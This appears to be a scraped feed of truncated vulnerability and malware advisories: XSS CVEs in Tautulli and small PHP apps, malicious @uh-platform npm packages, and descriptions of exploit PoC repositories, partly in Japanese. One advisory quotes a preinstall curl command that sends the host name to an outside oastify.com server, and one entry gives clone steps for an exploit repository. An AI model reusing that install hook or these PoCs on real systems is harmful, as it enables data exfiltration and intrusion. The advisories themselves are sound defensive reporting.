CVE-2023-49539

CVE-2023-49539 Book Store Management System v1.0 - クロスサイトスクリプティング（XSS）の脆弱性が「index.php/category」に存在 - 脆弱フィールド：「カテゴリ名」 説明 : Book Store Management System v1.0...

CVE-2026-45381 Tautulli: Reflected XSS in `/search` endpoint

Tautulli is a Python based monitoring and tracking tool for Plex Media Server. Prior to 2.17.2, the /search endpoint inserts its user-controlled query parameter into a JavaScript string in data/interfaces/default/search.html using manual escaping that handles quotes and slashes but not backslashe...

CVE-2026-45381

Tautulli is a Python-based monitoring and tracking tool for Plex Media Server . In versions prior to 2.17.2 , the /search endpoint inserts a user-controlled query parameter into a JavaScript string in data/interfaces/default/search.html using manual escaping that handles quotes and slashes but no...

CVE-2026-45381 Tautulli: Reflected XSS in `/search` endpoint

Tautulli is a Python based monitoring and tracking tool for Plex Media Server. Prior to 2.17.2, the /search endpoint inserts its user-controlled query parameter into a JavaScript string in data/interfaces/default/search.html using manual escaping that handles quotes and slashes but not backslashe...

EUVD-2026-84070

Tautulli is a Python based monitoring and tracking tool for Plex Media Server. Prior to 2.17.2, the /search endpoint inserts its user-controlled query parameter into a JavaScript string in data/interfaces/default/search.html using manual escaping that handles quotes and slashes but not backslashe...

CVE-2026-49995 Tautulli: Stored Cross-Site Scripting (XSS) in the newsletter

Tautulli is a Python based monitoring and tracking tool for Plex Media Server. Prior to 2.17.2, the newsletter cron field stored in the newsletters table is inserted by data/interfaces/default/newsletterconfig.html into a JavaScript string without safe JSON encoding. An administrator or caller wi...

CVE-2026-49995 Tautulli: Stored Cross-Site Scripting (XSS) in the newsletter

Tautulli is a Python based monitoring and tracking tool for Plex Media Server. Prior to 2.17.2, the newsletter cron field stored in the newsletters table is inserted by data/interfaces/default/newsletterconfig.html into a JavaScript string without safe JSON encoding. An administrator or caller wi...

CVE-2023-49987

CVE-2023-49987 School Fees Management System v1.0 - クロスサイトスクリプティング XSS の脆弱性: 「newterm」上の「tname」パラメータ 説明 : School Fees Management System 1.0 のコンポーネント「newterm」におけるクロスサイトスクリプティング XSS の脆弱性により、攻撃者は「tname」パラメータに注入された細工されたペイロードを介して任意のウェブスクリプトまたはHTMLを実行できます。 脆弱性のある製品バージョン : School Fees Management System...

Malicious code in @uh-platform/nadaver (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 66c8fbea9d97af1bd5c48147e744ff5e0feaded686c613591e7defd2f75e2e17 On npm install, the package's preinstall script executes node index.js, which shells out curl to...

MAL-2026-16360 Malicious code in @uh-platform/nadaver (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 66c8fbea9d97af1bd5c48147e744ff5e0feaded686c613591e7defd2f75e2e17 On npm install, the package's preinstall script executes node index.js, which shells out curl to...

MAL-2026-16359 Malicious code in @uh-platform/domain-widget (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 1fa27cef146dec157eaf78519d56ff2ef696f32e99746cdabea9e30be7c03b96 Package @uh-platform/[email protected] is a scoped placeholder with an empty author, generic description, and no real functionality. Its...

Malicious code in @uh-platform/cloud (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 83c05c6e1f06ed934a3ec5f9cc0390716163153b53022c9f414d61f70f1cb451 The package's preinstall lifecycle script index.js runs childprocess.exec of curl "http://$hostname.pa33pg1od9cr4ffnrzec8864jvpmdd12.oastify.com/",...

MAL-2026-16358 Malicious code in @uh-platform/cloud (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 83c05c6e1f06ed934a3ec5f9cc0390716163153b53022c9f414d61f70f1cb451 The package's preinstall lifecycle script index.js runs childprocess.exec of curl "http://$hostname.pa33pg1od9cr4ffnrzec8864jvpmdd12.oastify.com/",...

CVE-2017-16997-poc

使用方法 ./CVE-2017-16997.sh を実行します。 非rootユーザーとして実行する場合は、sudo経由でrootに昇格できることを確認してください。 詳細 1. https://nvd.nist.gov/vuln/detail/CVE-2017-16997...

CVE-2023-49986

CVE-2023-49986 School Fees Management System v1.0 - 「addnewparent」の「name」パラメータにおけるクロスサイトスクリプティング（XSS）脆弱性 説明 : School Fees Management System 1.0 のコンポーネント「addnewparent」におけるクロスサイトスクリプティング（XSS）脆弱性により、攻撃者が「name」パラメータに注入した細工されたペイロードを介して、任意のウェブスクリプトまたはHTMLを実行できる可能性があります。 影響を受ける製品バージョン : School Fees...

CVE-2023-43339-CMSmadesimple-Reflected-XSS---Installation

Cmsmadesimple CMS 反射型XSS v2.2.18 作成者: Sergio 説明: cmsmadesimple v.2.2.18 のインストールにおける複数のクロスサイトスクリプティング XSS の脆弱性により、ローカル攻撃者がデータベース名、データベースユーザー名、またはデータベースポートに注入された細工されたペイロードを介して任意の Web スクリプトを実行できる可能性があります。 攻撃ベクトル: データベース名、ユーザー名、ポートにおけるインストール時のサニタイゼーションの脆弱性により、JavaScript コードが注入される可能性があります。 PoC:...

CVE-2024-31819

スクリプトのインストールと実行 💻 前提条件 始める前に、お使いのマシンに以下のツールがインストールされていることを確認してください： Python 3.x Git pip （Python の依存関係を管理するため） インストール手順 1. リポジトリをクローンする git を使用してリポジトリをクローンします： root@kitploit: git clone https://github.com/dream434/CVE-2024-31819 2. プロジェクトのディレクトリに移動する root@kitploit: cd CVE-2024-31819 3. 依存関係をインストールする...

CVE-2023-4863

すべての功績はDARKNAVYのスクリプトに帰属します。これは、調整を容易にするためにファイルの先頭にOFFSETおよびVALUE定数を追加した修正版にすぎません。...

CVE-2019-1619

CVE-2019-1619 Powershellスクリプト - 認証バイパスに必要なトークンを構築するためのものです。私はペンテスト中にCVE-2019-1619に脆弱なサーバーを発見しました。アクセス制限のためMetasploitモジュールを利用できず、手動で悪用しました。このスクリプトを作成してトークンの構築を自動化しました。CVEの完全なドキュメントは以下にあります: https://github.com/pedrib/PoC/blob/master/advisories/Cisco/cisco-dcnm-rce.txt...

CVE-2023-5561-POC-Updated

CVE-2023-5561-POC-Updated このリポジトリには、CVE-2023-5561 用の元の Proof-of-Concept（PoC）を修正したバージョンが含まれています。元の PoC はこちらにありますが、並列で大量のリクエストを送信するため、Web アプリケーションファイアウォール（WAF）をトリガーしたり、過剰なトラフィックによってサーバーが接続をブロックしたりする可能性があります。 変更点 bruteforcesearch 関数内の各リクエスト間に、time.sleep10 を使用して 10 秒の遅延を追加しました。これにより、PoC...